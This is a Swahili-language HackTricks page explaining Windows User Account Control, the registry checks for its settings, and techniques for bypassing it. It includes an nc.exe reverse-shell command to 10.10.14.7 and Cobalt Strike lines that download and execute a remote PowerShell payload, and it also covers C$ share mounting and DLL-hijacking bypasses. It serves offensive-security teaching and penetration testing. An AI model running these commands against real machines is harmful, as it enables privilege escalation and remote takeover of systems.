UAC - User Account Control
Reading time: 11 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
UAC
User Account Control (UAC) ni kipengele kinachowezesha kuonyeshwa kwa idhini kwa shughuli za juu. Programu zina viwango tofauti vya integrity
, na programu yenye kiwango cha juu inaweza kufanya kazi ambazo zinaweza kuhatarisha mfumo. Wakati UAC imewezeshwa, programu na kazi kila wakati zinafanya kazi chini ya muktadha wa usalama wa akaunti isiyo ya msimamizi isipokuwa msimamizi aidhinishe waziwazi programu/hizi kazi kuwa na ufikiaji wa kiwango cha msimamizi kwenye mfumo ili kuendesha. Ni kipengele cha urahisi kinacholinda wasimamizi kutokana na mabadiliko yasiyokusudiwa lakini hakichukuliwi kama mpaka wa usalama.
Kwa maelezo zaidi kuhusu viwango vya integrity:
{{#ref}} ../windows-local-privilege-escalation/integrity-levels.md {{#endref}}
Wakati UAC ipo, mtumiaji wa msimamizi anapewa tokeni 2: ufunguo wa mtumiaji wa kawaida, ili kufanya vitendo vya kawaida kama kiwango cha kawaida, na moja yenye haki za msimamizi.
Hii page inajadili jinsi UAC inavyofanya kazi kwa undani mkubwa na inajumuisha mchakato wa kuingia, uzoefu wa mtumiaji, na usanifu wa UAC. Wasimamizi wanaweza kutumia sera za usalama kuunda jinsi UAC inavyofanya kazi maalum kwa shirika lao katika ngazi ya ndani (wakati wa kutumia secpol.msc), au kuundwa na kusukumwa kupitia Group Policy Objects (GPO) katika mazingira ya Active Directory domain. Mipangilio mbalimbali inajadiliwa kwa undani hapa. Kuna mipangilio 10 ya Group Policy ambayo inaweza kuwekwa kwa UAC. Jedwali lifuatalo linatoa maelezo zaidi:
UAC Bypass Theory
Baadhi ya programu zina autoelevated automatically ikiwa mtumiaji ni sehemu ya kikundi cha wasimamizi. Binaries hizi zina ndani ya Manifests chaguo la autoElevate lenye thamani True. Binary inapaswa kuwa imetiwa saini na Microsoft pia.
Kisha, ili kuepuka UAC (kuinua kutoka kiwango cha kati cha integrity hadi juu) baadhi ya washambuliaji hutumia aina hii ya binaries ili kutekeleza msimbo wa kiholela kwa sababu itatekelezwa kutoka kwa mchakato wa integrity wa kiwango cha Juu.
Unaweza kuangalia Manifest ya binary ukitumia zana sigcheck.exe kutoka Sysinternals. Na unaweza kuona kiwango cha integrity cha michakato ukitumia Process Explorer au Process Monitor (ya Sysinternals).
Check UAC
Ili kuthibitisha ikiwa UAC imewezeshwa fanya:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
Ikiwa ni 1
basi UAC ime wezeshwa, ikiwa ni 0
au haipo, basi UAC ni isiyo active.
Kisha, angalia ni kiwango gani kimewekwa:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
- Ikiwa
0
basi, UAC haitatoa ujumbe (kama imezimwa) - Ikiwa
1
msimamizi anaulizwa jina la mtumiaji na nenosiri ili kutekeleza binary kwa haki za juu (katika Desktop Salama) - Ikiwa
2
(Daima niarifu) UAC kila wakati itauliza uthibitisho kwa msimamizi anapojaribu kutekeleza kitu chenye mamlaka ya juu (katika Desktop Salama) - Ikiwa
3
kama1
lakini si lazima kwenye Desktop Salama - Ikiwa
4
kama2
lakini si lazima kwenye Desktop Salama - ikiwa
5
(kawaida) itauliza msimamizi kuthibitisha kuendesha binaries zisizo za Windows kwa mamlaka ya juu
Kisha, unapaswa kuangalia thamani ya LocalAccountTokenFilterPolicy
Ikiwa thamani ni 0
, basi, mtumiaji tu wa RID 500 (Msimamizi wa ndani) anaweza kufanya kazi za usimamizi bila UAC, na ikiwa ni 1
, akaunti zote ndani ya kundi "Administrators" zinaweza kufanya hivyo.
Na, hatimaye angalia thamani ya funguo FilterAdministratorToken
Ikiwa 0
(kawaida), akaunti ya Msimamizi wa ndani inaweza kufanya kazi za usimamizi wa mbali na ikiwa 1
akaunti ya msimamizi wa ndani haiwezi kufanya kazi za usimamizi wa mbali, isipokuwa LocalAccountTokenFilterPolicy
imewekwa kuwa 1
.
Muhtasari
- Ikiwa
EnableLUA=0
au haipo, hakuna UAC kwa mtu yeyote - Ikiwa
EnableLua=1
naLocalAccountTokenFilterPolicy=1
, Hakuna UAC kwa mtu yeyote - Ikiwa
EnableLua=1
naLocalAccountTokenFilterPolicy=0
naFilterAdministratorToken=0
, Hakuna UAC kwa RID 500 (Msimamizi wa ndani) - Ikiwa
EnableLua=1
naLocalAccountTokenFilterPolicy=0
naFilterAdministratorToken=1
, UAC kwa kila mtu
Taarifa hii yote inaweza kukusanywa kwa kutumia moduli ya metasploit: post/windows/gather/win_privs
Unaweza pia kuangalia makundi ya mtumiaji wako na kupata kiwango cha uaminifu:
net user %username%
whoami /groups | findstr Level
UAC bypass
note
Kumbuka kwamba ikiwa una ufikiaji wa picha kwa mwathirika, UAC bypass ni rahisi kwani unaweza kubofya tu "Ndio" wakati ujumbe wa UAC unapoonekana
UAC bypass inahitajika katika hali zifuatazo: UAC imewashwa, mchakato wako unafanya kazi katika muktadha wa uaminifu wa kati, na mtumiaji wako ni sehemu ya kundi la wasimamizi.
Ni muhimu kutaja kwamba ni vigumu zaidi kupita UAC ikiwa iko katika kiwango cha juu cha usalama (Daima) kuliko ikiwa iko katika viwango vingine vyovyote (Kawaida).
UAC disabled
Ikiwa UAC tayari imezimwa (ConsentPromptBehaviorAdmin
ni 0
) unaweza kutekeleza shell ya kurudi na ruhusa za admin (kiwango cha juu cha uaminifu) ukitumia kitu kama:
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
UAC bypass with token duplication
- https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/
- https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html
Sana Msingi UAC "bypass" (ufikiaji wa mfumo wa faili kamili)
Ikiwa una shell na mtumiaji ambaye yuko ndani ya kundi la Wasimamizi unaweza kuunganisha C$ iliyoshirikiwa kupitia SMB (mfumo wa faili) ndani ya diski mpya na utakuwa na ufikiaji wa kila kitu ndani ya mfumo wa faili (hata folda ya nyumbani ya Msimamizi).
warning
Inaonekana kama hila hii haitumiki tena
net use Z: \\127.0.0.1\c$
cd C$
#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop
UAC bypass with cobalt strike
Mbinu za Cobalt Strike zitaweza kufanya kazi tu ikiwa UAC haijawekwa kwenye kiwango chake cha juu cha usalama.
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]
# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
Empire na Metasploit pia zina moduli kadhaa za kuepuka UAC.
KRBUACBypass
Nyaraka na zana katika https://github.com/wh0amitz/KRBUACBypass
UAC bypass exploits
UACME ambayo ni mkusanyiko wa exploits kadhaa za UAC bypass. Kumbuka kwamba utahitaji kukusanya UACME ukitumia visual studio au msbuild. Kukusanya kutaunda executable kadhaa (kama Source\Akagi\outout\x64\Debug\Akagi.exe
), utahitaji kujua ni ipi unahitaji.
Unapaswa kuwa makini kwa sababu baadhi ya kuepuka kutatoa maombi mengine ambayo yatamwonya mtumiaji kwamba kuna kitu kinatokea.
UACME ina toleo la kujenga ambalo kila mbinu ilianza kufanya kazi. Unaweza kutafuta mbinu inayohusisha toleo lako:
PS C:\> [environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
Pia, ukitumia hii ukurasa unapata toleo la Windows 1607
kutoka kwa toleo la kujenga.
UAC Bypass Zaidi
Teknolojia zote zinazotumika hapa kukwepa AUC zinahitaji shell ya mwingiliano kamili na mwathirika (shell ya kawaida ya nc.exe haitoshi).
Unaweza kupata kwa kutumia meterpreter kikao. Hamisha kwa mchakato ambao una Thamani ya Kikao inayolingana na 1:
(explorer.exe inapaswa kufanya kazi)
UAC Bypass na GUI
Ikiwa una ufikiaji wa GUI unaweza tu kukubali ombi la UAC unapokutana nalo, huwezi kweli kuhitaji kukwepa. Hivyo, kupata ufikiaji wa GUI kutakuruhusu kukwepa UAC.
Zaidi ya hayo, ikiwa unapata kikao cha GUI ambacho mtu alikuwa akikitumia (labda kupitia RDP) kuna zana kadhaa ambazo zitakuwa zikifanya kazi kama msimamizi ambapo unaweza kufanya cmd kwa mfano kama msimamizi moja kwa moja bila kuombwa tena na UAC kama https://github.com/oski02/UAC-GUI-Bypass-appverif. Hii inaweza kuwa ya kujificha zaidi.
UAC Bypass ya nguvu inayosikika
Ikiwa hujali kuhusu kuwa na kelele unaweza kila wakati kufanya kitu kama https://github.com/Chainski/ForceAdmin ambacho kinahitaji kuinua ruhusa hadi mtumiaji akubali.
Kukwepa kwako mwenyewe - Mbinu ya msingi ya UAC bypass
Ikiwa utaangalia UACME utaona kwamba kebisha nyingi za UAC zinatumia udhaifu wa Dll Hijacking (hasa kuandika dll mbaya kwenye C:\Windows\System32). Soma hii kujifunza jinsi ya kupata udhaifu wa Dll Hijacking.
- Tafuta binary ambayo itafanya autoelevate (angalia kwamba inapotekelezwa inafanya kazi katika kiwango cha juu cha uaminifu).
- Kwa procmon pata matukio ya "JINA HALIKUPATIKANA" ambayo yanaweza kuwa hatarini kwa DLL Hijacking.
- Huenda ukahitaji kuandika DLL ndani ya baadhi ya njia zilizolindwa (kama C:\Windows\System32) ambapo huna ruhusa ya kuandika. Unaweza kukwepa hii kwa kutumia:
- wusa.exe: Windows 7,8 na 8.1. Inaruhusu kutoa maudhui ya faili ya CAB ndani ya njia zilizolindwa (kwa sababu chombo hiki kinatekelezwa kutoka kiwango cha juu cha uaminifu).
- IFileOperation: Windows 10.
- Andaa script ya nakala ya DLL yako ndani ya njia iliyolindwa na kutekeleza binary hatarini na inayojitenga.
Mbinu nyingine ya UAC bypass
Inajumuisha kuangalia ikiwa binary ya autoElevated inajaribu kusoma kutoka kwa rejista jina/njia ya binary au amri inayopaswa kutekelezwa (hii ni ya kuvutia zaidi ikiwa binary inatafuta habari hii ndani ya HKCU).
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.